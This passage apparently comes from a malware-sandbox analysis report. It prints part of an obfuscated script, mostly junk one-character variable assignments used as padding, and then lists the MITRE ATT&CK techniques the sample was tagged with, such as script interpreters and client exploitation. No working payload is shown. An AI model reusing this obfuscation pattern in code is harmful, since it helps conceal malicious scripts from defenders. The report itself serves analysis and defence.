334	gfpqpfint = "n";
335	gfpqpfint = "l";
336	gfpqpfint = "M";
337	gfpqpfint = "L";
338	gfpqpfint = "A";
339	gfpqpfint = "E";
340	gfpqpfint = "G";
341	gfpqpfint = "V";
342	gfpqpfint = "A";
343	gfpqpfint = "R";
344	gfpqpfint = "a";
345	gfpqpfint = "a";
346	gfpqpfint = "L";
347	vzkgzu = "U";
348	vzkgzu = "a";
349	vzkgzu = "C";
350	vzkgzu = "U";
351	vzkgzu = "n";
352	vzkgzu = "r";
353	vzkgzu = "o";
354	vzkgzu = "y";
355	vzkgzu = "i";
356	vzkgzu = "o";
357	vzkgzu = "T";
358	vzkgzu = "y";
359	vzkgzu = "G";
360	vzkgzu = "D";
361	vzkgzu = "1";
362	icdqr = "X";
363	icdqr = "C";
364	icdqr = "M";
365	icdqr = "W";
366	icdqr = "H";
367	icdqr = "X";
368	icdqr = "j";
369	icdqr = "X";
370	icdqr = "w";
371	icdqr = "Y";
372	icdqr = "G";
373	icdqr = "g";
374	icdqr = "g";
375	icdqr = "J";
376	icdqr = "k";
377	icdqr = "T";
378	icdqr = "s";
379	icdqr = "j";
380	icdqr = "R";
381	icdqr = "C";
382	icdqr = "b";
383	icdqr = "b";
384	icdqr = "N";
385	icdqr = "r";
386	icdqr = "Y";
387	icdqr = "&";
388	yxkss = "S";
389	yxkss = "p";
390	yxkss = "Y";
391	yxkss = "W";
392	yxkss = "w";
393	yxkss = "X";
394	yxkss = "m";
395	yxkss = "h";
396	yxkss = "n";
397	yxkss = "c";
398	yxkss = "d";
399	yxkss = "B";
400	yxkss = "Q";
401	yxkss = "c";
402	yxkss = "g";
403	yxkss = "q";
404	yxkss = "q";
405	yxkss = "T";
406	yxkss = "W";
407	yxkss = "G";
408	yxkss = "x";
409	yxkss = "r";
410	yxkss = "N";
411	yxkss = "v";
412	yxkss = "h";
413	utagj = "S";
414	utagj = "l";
415	utagj = "d";
416	utagj = "R";
417	utagj = "B";
418	utagj = "c";
419	utagj = "o";
420	utagj = "N";
421	utagj = "i";
422	utagj = "a";
423	utagj = "e";
424	utagj = "v";
425	utagj = "B";
426	utagj = "l";
427	utagj = "j";
428	utagj = "c";
429	utagj = "L";
430	utagj = "l";
431	utagj = "U";
432	utagj = "F";
433	yjtuyzt = "I";
434	yjtuyzt = "L";
435	yjtuyzt = "T";
436	yjtuyzt = "R";
437	yjtuyzt = "3";
438	fphno = "K";
439	fphno = "Q";
440	fphno = "N";
441	fphno = "K";
442	fphno = "c";
443	fphno = "z";
444	fphno = "o";
445	fphno = "F";
446	fphno = "E";
447	fphno = "E";
448	fphno = "k";
449	fphno = "j";
450	fphno = "J";
451	fphno = "J";
452	fphno = "L";
453	fphno = "L";
454	fphno = "L";
455	fphno = "m";
456	fphno = "t";
457	fphno = "X";
458	fphno = "X";
459	fphno = "v";
460	fphno = "j";
461	fphno = "P";
462	fphno = "I";
463	fphno = "j";
464	fphno = "f";
465	jhcsj = "f";
466	jhcsj = "C";
467	jhcsj = "O";
468	jhcsj = "z";
469	jhcsj = "c";
470	jhcsj = "e";
471	jhcsj = "B";
472	jhcsj = "x";
473	jhcsj = "F";
474	jhcsj = "g";
475	jhcsj = "C";
476	jhcsj = "K";
477	jhcsj = "e";
478	jhcsj = "n";
479	lcalkf = "b";
480	lcalkf = "P";
481	lcalkf = "z";
482	lcalkf = "k";
483	lcalkf = "F";
484	lcalkf = "f";
485	lcalkf = "I";
486	lcalkf = "j";
487	lcalkf = "B";
488	lcalkf = "l";
489	lcalkf = "X";
490	lcalkf = "r";
491	lcalkf = "P";
492	lcalkf = "z";
493	lcalkf = "O";
494	lcalkf = "m";
495	lcalkf = "w";
496	lcalkf = "I";
497	lcalkf = "O";
498	lcalkf = "y";
499	lcalkf = "v";
500	knqwxz = "g";
501	knqwxz = "W";
502	knqwxz = "O";
503	knqwxz = "B";
504	knqwxz = "Q";
505	knqwxz = "S";
506	knqwxz = "h";
507	knqwxz = "T";
508	knqwxz = "w";
509	knqwxz = "k";
510	knqwxz = "D";
511	knqwxz = "H";
512	knqwxz = "L";
513	knqwxz = "b";
514	knqwxz = "J";
515	knqwxz = "s";
516	knqwxz = "k";
517	knqwxz = "y";
518	knqwxz = "K";
519	knqwxz = "M";
520	knqwxz = "Z";
521	knqwxz = "K";
522	knqwxz = "D";
523	knqwxz = "j";
524	knqwxz = "I";
525	knqwxz = "S";
526	knqwxz = "X";
527	knqwxz = "n";
528	knqwxz = "a";
529	knqwxz = "v";
530	knqwxz = "r";
531	knqwxz = "T";
532	knqwxz = "N";
533	dcnwjh = "n";
534	dcnwjh = "D";
535	dcnwjh = "z";
536	dcnwjh = "E";
537	dcnwjh = "V";
538	dcnwjh = "a";
539	dcnwjh = "T";
540	dcnwjh = "r";
541	dcnwjh = "h";
542	dcnwjh = "P";
543	dcnwjh = "O";
544	dcnwjh = "k";
545	dcnwjh = "d";
546	dcnwjh = "a";
547	dcnwjh = "z";
548	dcnwjh = "U";
549	tjcmhzo = "B";
550	tjcmhzo = "i";
551	tjcmhzo = "l";
552	tjcmhzo = "R";
553	tjcmhzo = "y";
554	tjcmhzo = "X";
555	tjcmhzo = "m";
556	tjcmhzo = "J";
557	tjcmhzo = "a";
558	tjcmhzo = "B";
559	tjcmhzo = "c";
560	tjcmhzo = "q";
561	tjcmhzo = "p";
562	tjcmhzo = "n";
563	tjcmhzo = "i";
564	tjcmhzo = "x";
565	tjcmhzo = "b";
566	tjcmhzo = "l";
567	yqxjbkn = "g";
568	kwdjbfikp = "L";
569	kwdjbfikp = "B";
570	kwdjbfikp = "z";
571	kwdjbfikp = "A";
572	kwdjbfikp = "C";
573	kwdjbfikp = "y";
574	kwdjbfikp = "q";
575	kwdjbfikp = "O";
576	kwdjbfikp = "g";
577	kwdjbfikp = "h";
578	kwdjbfikp = "F";
579	kwdjbfikp = "M";
580	kwdjbfikp = "L";
581	kwdjbfikp = "Y";
582	kwdjbfikp = "a";
583	kwdjbfikp = "z";
584	kwdjbfikp = "C";
585	kwdjbfikp = "v";
586	kwdjbfikp = "N";
587	kwdjbfikp = "r";
588	kwdjbfikp = "F";
589	kwdjbfikp = "B";
590	kwdjbfikp = "F";
591	kwdjbfikp = "r";
592	kwdjbfikp = "e";
593	kwdjbfikp = "g";
594	kwdjbfikp = "v";
595	kwdjbfikp = "i";
596	kwdjbfikp = "u";
597	kwdjbfikp = "N";
598	kwdjbfikp = "w";
599	kwdjbfikp = "X";
600	kwdjbfikp = "c";
601	kwdjbfikp = "j";
602	kwdjbfikp = "w";
603	kwdjbfikp = "L";
604	kwdjbfikp = "N";
605	kwdjbfikp = "j";
606	kwdjbfikp = "O";
607	kwdjbfikp = "h";
608	kwdjbfikp = "7";
609	vslfo = "C";
610	vslfo = "r";
611	vslfo = "A";
612	vslfo = "e";
613	vslfo = "t";
614	vslfo = "k";
615	wuzhmz = "M";
616	wuzhmz = "h";
617	wuzhmz = "M";
618	wuzhmz = "F";
619	wuzhmz = "o";
620	wuzhmz = "D";
621	wuzhmz = "u";
622	wuzhmz = "i";
623	wuzhmz = "H";
624	wuzhmz = "V";
625	wuzhmz = "k";
626	wuzhmz = "y";
627	wuzhmz = "P";
628	wuzhmz = "x";
629	wuzhmz = "K";
630	wuzhmz = "l";
631	wuzhmz = "R";
632	wuzhmz = "o";
633	wuzhmz = "E";
634	wuzhmz = "J";
635	wuzhmz = "s";
636	wuzhmz = "H";
637	wuzhmz = "g";
638	wuzhmz = "t";
639	wuzhmz = "a";
640	wuzhmz = "I";
641	wuzhmz = "c";
642	wuzhmz = "f";
643	wuzhmz = "a";
644	wuzhmz = "i";
645	wuzhmz = "b";
646	wuzhmz = "L";
647	wuzhmz = "U";
648	wuzhmz = "e";
649	bzsbayl = "l";
650	bzsbayl = "I";
651	bzsbayl = "i";
652	bzsbayl = "e";
653	bzsbayl = "N";
654	bzsbayl = "X";
655	bzsbayl = "A";
656	bzsbayl = "x";
657	bzsbayl = "M";
658	bzsbayl = "s";
659	bzsbayl = "K";
660	bzsbayl = "I";
661	bzsbayl = "w";
662	bzsbayl = "x";
663	bzsbayl = "m";
664	bzsbayl = "C";
665	anbgd = "O";
666	anbgd = "h";
667	anbgd = "U";
668	anbgd = "r";
669	anbgd = "D";
670	anbgd = "T";
671	anbgd = "n";
672	anbgd = "U";
673	anbgd = "r";
674	anbgd = "m";
675	anbgd = "t";
676	anbgd = "N";
677	anbgd = "D";
678	anbgd = "Y";
679	anbgd = "u";
680	anbgd = "N";
681	anbgd = "Y";
682	anbgd = "5";
683	hvqbip = "S";
684	hvqbip = "a";
685	hvqbip = "g";
686	hvqbip = "u";
687	hvqbip = "L";
688	hvqbip = "E";
689	hvqbip = "E";
690	hvqbip = "s";
691	hvqbip = "q";
692	hvqbip = "T";
693	hvqbip = "d";
694	hvqbip = "h";
695	hvqbip = "R";
696	hvqbip = "t";
697	hvqbip = "Q";
698	hvqbip = "V";
699	hvqbip = "t";
700	hvqbip = "w";
701	hvqbip = "A";
702	hvqbip = "T";
703	hvqbip = "L";
704	hvqbip = "g";
705	hvqbip = "P";
706	hvqbip = "B";
707	hvqbip = "o";
708	hvqbip = "C";
709	hvqbip = "l";
710	hvqbip = "T";
711	hvqbip = "T";
712	hvqbip = "r";
713	hvqbip = "d";
714	hvqbip = "s";
715	hvqbip = "M";
716	hvqbip = "H";
717	hvqbip = "i";
718	hvqbip = "N";
719	hvqbip = "U";
720	hvqbip = "C";
721	hvqbip = "z";
722	hvqbip = "Q";
723	hvqbip = "R";
724	hvqbip = "f";
725	hvqbip = "T";
726	zicmj = "C";
727	zicmj = "f";
728	zicmj = "P";
729	zicmj = "D";
730	zicmj = "D";
731	zicmj = "X";
732	zicmj = "M";
733	zicmj = "k";
734	zicmj = "b";
735	zicmj = "X";
736	zicmj = "Y";
737	zicmj = "W";
738	zicmj = "w";
739	zicmj = "j";
740	zicmj = "L";
741	zicmj = "Z";
742	zicmj = "n";
743	zicmj = "E";
744	zicmj = "o";
745	zicmj = "A";
746	zicmj = "A";
747	zicmj = "F";
748	zicmj = "I";
749	zicmj = "e";
750	zicmj = "M";
751	zicmj = "b";
752	zicmj = "u";
753	zicmj = "a";
754	zicmj = "B";
755	zicmj = "d";
756	zicmj = "a";
757	zicmj = "e";
758	zicmj = "W";
759	zicmj = "H";
760	zicmj = "H";
761	zicmj = "k";
762	zicmj = "Y";
763	zicmj = "W";
764	zicmj = "W";
765	zicmj = "2";
766	dpxuxrdc = "s";
767	dpxuxrdc = "s";
768	dpxuxrdc = "N";
769	dpxuxrdc = "s";
770	dpxuxrdc = "U";
771	dpxuxrdc = "w";
772	dpxuxrdc = "V";
773	dpxuxrdc = "c";
774	dpxuxrdc = "T";
775	dpxuxrdc = "R";
776	dpxuxrdc = "B";
777	dpxuxrdc = "r";
778	dpxuxrdc = "Q";
779	dpxuxrdc = "C";
780	dpxuxrdc = "L";
781	dpxuxrdc = "N";
782	dpxuxrdc = "Y";
783	dpxuxrdc = "t";
784	dpxuxrdc = "d";
785	dpxuxrdc = "G";
786	dpxuxrdc = "i";
787	dpxuxrdc = "c";
788	dpxuxrdc = "v";
789	dpxuxrdc = "F";
790	dpxuxrdc = "X";
791	dpxuxrdc = "j";
792	dpxuxrdc = "W";
793	dpxuxrdc = "E";
794	dpxuxrdc = "B";
795	dpxuxrdc = "K";
796	dpxuxrdc = "q";
797	dpxuxrdc = "y";
798	dpxuxrdc = "S";
799	dpxuxrdc = "a";
800	dpxuxrdc = "%";
801	kwniku = "M";
802	kwniku = "G";
803	kwniku = "R";
804	kwniku = "s";
805	kwniku = "R";
806	kwniku = "I";
807	kwniku = "f";
808	kwniku = "A";
809	kwniku = "r";
810	kwniku = "Y";
811	kwniku = "B";
812	kwniku = "s";
813	kwniku = "c";
814	kwniku = "J";
815	kwniku = "y";
816	kwniku = "d";
817	kwniku = "E";
818	kwniku = "i";
819	kwniku = "u";
820	kwniku = "y";
821	kwniku = "l";
822	kwniku = "P";
823	kwniku = "l";
824	kwniku = "c";
825	kwniku = "u";
826	kwniku = "V";
827	kwniku = "e";
828	kwniku = "I";
829	kwniku = "V";
830	kwniku = "b";
831	kwniku = "M";
832	kwniku = "i";
833	kwniku = "s";
834	kwniku = "u";
835	vuvnsa = "f";
836	vuvnsa = "U";
837	vuvnsa = "a";
838	vuvnsa = "X";
839	vuvnsa = "g";
840	vuvnsa = "z";
841	vuvnsa = "x";
842	vuvnsa = "O";
843	vuvnsa = "q";
844	vuvnsa = "c";
845	vuvnsa = "g";
846	vuvnsa = "t";
847	vuvnsa = "P";
848	vuvnsa = "v";
849	vuvnsa = "t";
850	vuvnsa = "t";
851	vuvnsa = "L";
852	vuvnsa = "v";
853	vuvnsa = "T";
854	vuvnsa = "d";
855	vuvnsa = "J";
856	vuvnsa = "J";
857	vuvnsa = "Y";
858	kqddi = "r";
859	fupuyx = "a";
860	fupuyx = "H";
861	fupuyx = "H";
862	fupuyx = "E";
863	fupuyx = "O";
864	fupuyx = "g";
865	fupuyx = "S";
866	fupuyx = "S";
867	fupuyx = "K";
868	fupuyx = "u";
869	fupuyx = "s";
870	fupuyx = "S";
871	fupuyx = "A";
872	fupuyx = "T";
873	fupuyx = "r";
874	fupuyx = "S";
875	fupuyx = "a";
876	fupuyx = "y";
877	fupuyx = "w";
878	fupuyx = "D";
879	fupuyx = "W";
880	fupuyx = "0";
881	jkodnfxaf = "j";
882	jkodnfxaf = "S";
883	jkodnfxaf = "Q";
884	jkodnfxaf = "i";
885	jkodnfxaf = "f";
886	jkodnfxaf = "m";
887	jkodnfxaf = "q";
888	jkodnfxaf = "Z";
889	jkodnfxaf = "P";
890	jkodnfxaf = "r";
891	jkodnfxaf = "G";
892	jkodnfxaf = "t";
893	jkodnfxaf = "z";
894	jkodnfxaf = "m";
895	jkodnfxaf = "C";
896	jkodnfxaf = "N";
897	jkodnfxaf = "o";
898	jkodnfxaf = "a";
899	jkodnfxaf = "b";
900	jkodnfxaf = "k";
901	jkodnfxaf = "c";
902	jkodnfxaf = "s";
903	jkodnfxaf = "G";
904	jkodnfxaf = "q";
905	jkodnfxaf = "H";
906	jkodnfxaf = "G";
907	jkodnfxaf = "E";
908	jkodnfxaf = "W";
909	jkodnfxaf = "X";
910	jkodnfxaf = "l";
911	jkodnfxaf = "G";
912	jkodnfxaf = "M";
913	jkodnfxaf = "N";
914	jkodnfxaf = "u";
915	jkodnfxaf = "R";
916	hdsoyvr = "t";
917	hdsoyvr = "P";
918	hdsoyvr = "y";
919	hdsoyvr = "n";
920	hdsoyvr = "q";
921	hdsoyvr = "W";
922	hdsoyvr = "B";
923	hdsoyvr = "X";
924	hdsoyvr = "c";
925	hdsoyvr = "H";
926	hdsoyvr = "j";
927	hdsoyvr = "E";
928	hdsoyvr = "H";
929	hdsoyvr = "W";
930	hdsoyvr = ":";
931	kmolx = "X";
932	kmolx = "T";
933	kmolx = "F";
934	kmolx = "V";
935	kmolx = "n";
936	kmolx = "r";
937	kmolx = "y";
938	kmolx = "G";
939	kmolx = "j";
940	kmolx = "x";
941	kmolx = "T";
942	kmolx = "j";
943	kmolx = "V";
944	kmolx = "g";
945	kmolx = "V";
946	kmolx = "A";
947	kmolx = "S";
948	kmolx = "p";
949	kmolx = "I";
950	kmolx = "H";
951	kmolx = "f";
952	kmolx = "m";
953	kmolx = "c";
954	kmolx = "n";
955	kmolx = "Z";
956	kmolx = "h";
957	kmolx = "S";
958	kmolx = "B";
959	kmolx = "X";
960	kmolx = "q";
961	afabm = "t";
962	afabm = "I";
963	afabm = "t";
964	afabm = "r";
965	afabm = "H";
966	afabm = "d";
967	afabm = "y";
968	afabm = "n";
969	afabm = "H";
970	afabm = "q";
971	afabm = "B";
972	afabm = "b";
973	afabm = "b";
974	afabm = "C";
975	afabm = "S";
976	afabm = "X";
977	afabm = "b";
978	afabm = "W";
979	afabm = "H";
980	afabm = "j";
981	afabm = "E";
982	afabm = "r";
983	afabm = "b";
984	whqbvg = "D";
985	whqbvg = "Z";
986	whqbvg = "u";
987	whqbvg = "d";
988	whqbvg = "x";
989	whqbvg = "W";
990	whqbvg = "w";
991	whqbvg = "t";
992	whqbvg = "K";
993	whqbvg = "y";
994	whqbvg = "X";
995	whqbvg = "U";
996	whqbvg = "r";
997	whqbvg = "H";
998	whqbvg = "H";
999	whqbvg = "w";
1000	whqbvg = "-";
1001	dyaui = "l";
1002	dyaui = "u";
1003	dyaui = "Z";
1004	dyaui = "a";
1005	dyaui = "K";
1006	rdvkpuawk = "N";
1007	rdvkpuawk = "z";
1008	rdvkpuawk = "p";
1009	rdvkpuawk = "4";
1010	rrtviqh = "k";
1011	rrtviqh = "E";
1012	rrtviqh = "v";
1013	rrtviqh = "D";
1014	rrtviqh = "w";
1015	rrtviqh = "g";
1016	rrtviqh = "o";
1017	rrtviqh = "J";
1018	rrtviqh = "d";
1019	rrtviqh = "Y";
1020	rrtviqh = "o";
1021	rrtviqh = "A";
1022	rrtviqh = "p";
1023	rrtviqh = "Z";
1024	rrtviqh = "j";
1025	rrtviqh = "b";
1026	rrtviqh = "L";
1027	rrtviqh = "C";
1028	rrtviqh = "N";
1029	rrtviqh = "m";
1030	rrtviqh = "w";
1031	rrtviqh = "u";
1032	rrtviqh = "r";
1033	rrtviqh = "j";
1034	rrtviqh = "t";
1035	rrtviqh = "j";
1036	rrtviqh = "u";
1037	rrtviqh = "u";
1038	rrtviqh = "U";
1039	rrtviqh = "m";
1040	rrtviqh = "a";
1041	rrtviqh = "G";
1042	rrtviqh = "B";
1043	rrtviqh = "q";
1044	rrtviqh = "H";
1045	rrtviqh = "f";
1046	rrtviqh = "D";
1047	rrtviqh = "d";
1048	rrtviqh = "P";
1049	rrtviqh = "A";
1050	rrtviqh = "H";
1051	rrtviqh = "t";
1052	yumoqkcx = "D";
1053	yumoqkcx = "E";
1054	yumoqkcx = "d";
1055	yumoqkcx = "R";
1056	yumoqkcx = "Y";
1057	yumoqkcx = "M";
1058	yumoqkcx = "j";
1059	jzaydy = "d";
1060	jzaydy = "y";
1061	jzaydy = "I";
1062	jzaydy = "U";
1063	jzaydy = "J";
1064	jzaydy = "m";
1065	jzaydy = "R";
1066	jzaydy = "O";
1067	jzaydy = "P";
1068	jzaydy = "a";
1069	jzaydy = "p";
1070	jzaydy = "N";
1071	jzaydy = "R";
1072	jzaydy = "C";
1073	jzaydy = "j";
1074	jzaydy = "z";
1075	jzaydy = "Y";
1076	jzaydy = "r";
1077	jzaydy = "w";
1078	jzaydy = "I";
1079	jzaydy = "z";
1080	jzaydy = "E";
1081	jzaydy = "P";
1082	jzaydy = "P";
1083	jzaydy = "E";
1084	jzaydy = "W";
1085	jzaydy = "G";
1086	jzaydy = "k";
1087	jzaydy = "b";
1088	jzaydy = "D";
1089	jzaydy = "V";
1090	jzaydy = "r";
1091	jzaydy = "O";
1092	jzaydy = "l";
1093	jzaydy = "y";
1094	jzaydy = "x";
1095	jzaydy = "K";
1096	jzaydy = "m";
1097	jzaydy = "A";
1098	jzaydy = "Y";
1099	jzaydy = "d";
1100	qicxmuiwd = "l";
1101	qicxmuiwd = "F";
1102	qicxmuiwd = "L";
1103	qicxmuiwd = "y";
1104	qicxmuiwd = "H";
1105	qicxmuiwd = "J";
1106	qicxmuiwd = "v";
1107	qicxmuiwd = "W";
1108	qicxmuiwd = "H";
1109	qicxmuiwd = "N";
1110	qicxmuiwd = "O";
1111	qicxmuiwd = "Y";
1112	qicxmuiwd = "L";
1113	qicxmuiwd = "M";
1114	qicxmuiwd = "X";
1115	qicxmuiwd = "R";
1116	qicxmuiwd = "N";
1117	qicxmuiwd = "k";
1118	qicxmuiwd = "l";
1119	qicxmuiwd = "G";
1120	qicxmuiwd = "d";
1121	qicxmuiwd = "/";
1122	nvuqjtlza = "M";
1123	nvuqjtlza = "H";
1124	nvuqjtlza = "D";
1125	nvuqjtlza = "Q";
1126	nvuqjtlza = "e";
1127	nvuqjtlza = "Y";
1128	nvuqjtlza = "G";
1129	nvuqjtlza = "k";
1130	nvuqjtlza = "R";
1131	nvuqjtlza = "m";
1132	nvuqjtlza = "j";
1133	nvuqjtlza = "i";
1134	nvuqjtlza = "i";
1135	nvuqjtlza = "w";
1136	nvuqjtlza = "h";
1137	nvuqjtlza = "d";
1138	nvuqjtlza = "z";
1139	nvuqjtlza = "k";
1140	nvuqjtlza = "A";
1141	nvuqjtlza = "j";
1142	nvuqjtlza = "A";
1143	nvuqjtlza = "s";
1144	nvuqjtlza = "P";
1145	nvuqjtlza = "Q";
1146	nvuqjtlza = "R";
1147	nvuqjtlza = "L";
1148	nvuqjtlza = "c";
1149	nvuqjtlza = "D";
1150	nvuqjtlza = "Y";
1151	nvuqjtlza = "L";
1152	nvuqjtlza = "8";
1153	lhcgy = "c";
1154	lhcgy = "K";
1155	lhcgy = "A";
1156	lhcgy = "M";
1157	lhcgy = "D";
1158	lhcgy = "f";
1159	lhcgy = "o";
1160	lhcgy = "C";
1161	lhcgy = "R";
1162	lhcgy = "Y";
1163	lhcgy = "I";
1164	lhcgy = "u";
1165	lhcgy = ".";
1166	kacqo = "Y";
1167	kacqo = "H";
1168	kacqo = "n";
1169	kacqo = "p";
1170	kacqo = "Q";
1171	kacqo = "Y";
1172	kacqo = "C";
1173	kacqo = "F";
1174	kacqo = "t";
1175	kacqo = "M";
1176	kacqo = "b";
1177	kacqo = "k";
1178	kacqo = "l";
1179	kacqo = "S";
1180	wdmcv = "C";
1181	wdmcv = "d";
1182	wdmcv = "T";
1183	wdmcv = "n";
1184	wdmcv = "G";
1185	wdmcv = "w";
1186	wdmcv = "h";
1187	wdmcv = "g";
1188	wdmcv = "q";
1189	wdmcv = "f";
1190	wdmcv = "V";
1191	wdmcv = "W";
1192	wdmcv = "U";
1193	wdmcv = "j";
1194	wdmcv = "T";
1195	wdmcv = "S";
1196	wdmcv = "v";
1197	wdmcv = "Y";
1198	wdmcv = "I";
1199	wdmcv = "j";
1200	wdmcv = "a";
1201	bqtypkqmv = "t";
1202	bqtypkqmv = "P";
1203	bqtypkqmv = "T";
1204	bqtypkqmv = "P";
1205	bqtypkqmv = "z";
1206	bqtypkqmv = "C";
1207	bqtypkqmv = "D";
1208	bqtypkqmv = "Y";
1209	bqtypkqmv = "V";
1210	bqtypkqmv = "S";
1211	bqtypkqmv = "J";
1212	bqtypkqmv = "J";
1213	bqtypkqmv = "P";
1214	bqtypkqmv = "m";
1215	bqtypkqmv = "S";
1216	bqtypkqmv = "D";
1217	bqtypkqmv = "D";
1218	bqtypkqmv = "g";
1219	bqtypkqmv = "I";
1220	bqtypkqmv = "c";
1221	bqtypkqmv = "k";
1222	bqtypkqmv = "I";
1223	bqtypkqmv = "Y";
1224	bqtypkqmv = "o";
1225	bqtypkqmv = "e";
1226	bqtypkqmv = "U";
1227	bqtypkqmv = "f";
1228	bqtypkqmv = "F";
1229	bqtypkqmv = "G";
1230	bqtypkqmv = "I";
1231	bqtypkqmv = "v";
1232	bqtypkqmv = "J";
1233	bqtypkqmv = "r";
1234	bqtypkqmv = "C";
1235	bqtypkqmv = "S";
1236	bqtypkqmv = "a";
1237	bqtypkqmv = "t";
1238	bqtypkqmv = "y";
1239	bqtypkqmv = "e";
1240	bqtypkqmv = "F";
1241	bqtypkqmv = "@";
1242	rqaxjh = "v";
1243	rqaxjh = "d";
1244	rqaxjh = "s";
1245	rqaxjh = "A";
1246	rqaxjh = "d";
1247	rqaxjh = "v";
1248	rqaxjh = "J";
1249	rqaxjh = "Y";
1250	rqaxjh = "Q";
1251	rqaxjh = "K";
1252	rqaxjh = "z";
1253	rqaxjh = "A";
1254	rqaxjh = "g";
1255	rqaxjh = "q";
1256	rqaxjh = "I";
1257	rqaxjh = "k";
1258	rqaxjh = "Q";
1259	qpxtkqixt = "O";
1260	qpxtkqixt = "G";
1261	qpxtkqixt = "A";
1262	qpxtkqixt = "e";
1263	qpxtkqixt = "I";
1264	qpxtkqixt = "S";
1265	qpxtkqixt = "K";
1266	qpxtkqixt = "u";
1267	qpxtkqixt = "v";
1268	qpxtkqixt = "k";
1269	qpxtkqixt = "m";
1270	zpsay = "h";
1271	zpsay = "q";
1272	zpsay = "y";
1273	zpsay = "c";
1274	zpsay = "Z";
1275	zpsay = "s";
1276	qgchifggv = "I";
1277	qgchifggv = "N";
1278	qgchifggv = "n";
1279	qgchifggv = "H";
1280	qgchifggv = "f";
1281	qgchifggv = "C";
1282	qgchifggv = "v";
1283	qgchifggv = "m";
1284	qgchifggv = "Y";
1285	qgchifggv = "h";
1286	qgchifggv = "A";
1287	qgchifggv = "n";
1288	qgchifggv = "j";
1289	qgchifggv = "L";
1290	qgchifggv = "m";
1291	qgchifggv = "K";
1292	qgchifggv = "F";
1293	qgchifggv = "e";
1294	qgchifggv = "N";
1295	qgchifggv = "D";
1296	qgchifggv = "b";
1297	qgchifggv = "V";
1298	qgchifggv = "J";
1299	qgchifggv = "K";
1300	qgchifggv = "H";
1301	qgchifggv = "A";
1302	qgchifggv = "k";
1303	qgchifggv = "C";
1304	qgchifggv = "X";
1305	qgchifggv = "k";
1306	qgchifggv = "v";
1307	qgchifggv = "I";
1308	gheazxbg = "D";
1309	gheazxbg = "y";
1310	gheazxbg = "e";
1311	gheazxbg = "G";
1312	gheazxbg = "D";
1313	gheazxbg = "N";
1314	gheazxbg = "T";
1315	gheazxbg = "R";
1316	gheazxbg = "p";
1317	cthssvtj = "b";
1318	cthssvtj = "q";
1319	cthssvtj = "o";
1320	cthssvtj = "C";
1321	cthssvtj = "D";
1322	cthssvtj = "N";
1323	cthssvtj = "R";
1324	cthssvtj = "R";
1325	cthssvtj = "x";
1326	cthssvtj = "r";
1327	cthssvtj = "e";
1328	cthssvtj = "Q";
1329	cthssvtj = "O";
1330	cthssvtj = "W";
1331	cthssvtj = "e";
1332	cthssvtj = "Z";
1333	cthssvtj = "X";
1334	cthssvtj = "n";
1335	cthssvtj = "V";
1336	cthssvtj = "S";
1337	cthssvtj = "k";
1338	cthssvtj = "E";
1339	cthssvtj = "Y";
1340	cthssvtj = "O";
1341	cthssvtj = "f";
1342	cthssvtj = "e";
1343	cthssvtj = "Y";
1344	cthssvtj = "V";
1345	cthssvtj = "Q";
1346	cthssvtj = "J";
1347	cthssvtj = "q";
1348	cthssvtj = "K";
1349	cthssvtj = "V";
1350	cthssvtj = "D";
1351	cthssvtj = "E";
1352	cthssvtj = "G";
1353	cthssvtj = "Q";
1354	cthssvtj = "O";
1355	gjmbkytt = "a";
1356	gjmbkytt = "z";
1357	gjmbkytt = "u";
1358	gjmbkytt = "l";
1359	gjmbkytt = "Y";
1360	gjmbkytt = "l";
1361	gjmbkytt = "L";
1362	gjmbkytt = "S";
1363	gjmbkytt = "G";
1364	gjmbkytt = "n";
1365	gjmbkytt = "e";
1366	gjmbkytt = "I";
1367	gjmbkytt = "M";
1368	gjmbkytt = "X";
1369	gjmbkytt = "q";
1370	gjmbkytt = "b";
1371	gjmbkytt = "g";
1372	gjmbkytt = "i";
1373	gjmbkytt = "o";
1374	gjmbkytt = "X";
1375	gjmbkytt = "n";
1376	gjmbkytt = "b";
1377	gjmbkytt = "Z";
1378	gjmbkytt = "c";
1379	gjmbkytt = "a";
1380	gjmbkytt = "V";
1381	gjmbkytt = "V";
1382	gjmbkytt = "e";
1383	gjmbkytt = "K";
1384	gjmbkytt = "s";
1385	gjmbkytt = "i";
1386	gjmbkytt = "9";
1387	ddrixkl = "X";
1388	ddrixkl = "I";
1389	ddrixkl = "A";
1390	ddrixkl = "Z";
1391	ddrixkl = "C";
1392	ddrixkl = "G";
1393	ddrixkl = "l";
1394	ddrixkl = "C";
1395	ddrixkl = "q";
1396	ddrixkl = "P";
1397	hohygq = "V";
1398	hohygq = "w";
1399	hohygq = "N";
1400	hohygq = "c";
1401	hohygq = "W";
1402	hohygq = "w";
1403	hohygq = "m";
1404	hohygq = "c";
1405	hohygq = "O";
1406	hohygq = "T";
1407	hohygq = "N";
1408	hohygq = "i";
1409	fxpxxgyft ( );	fxpxxgyft() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

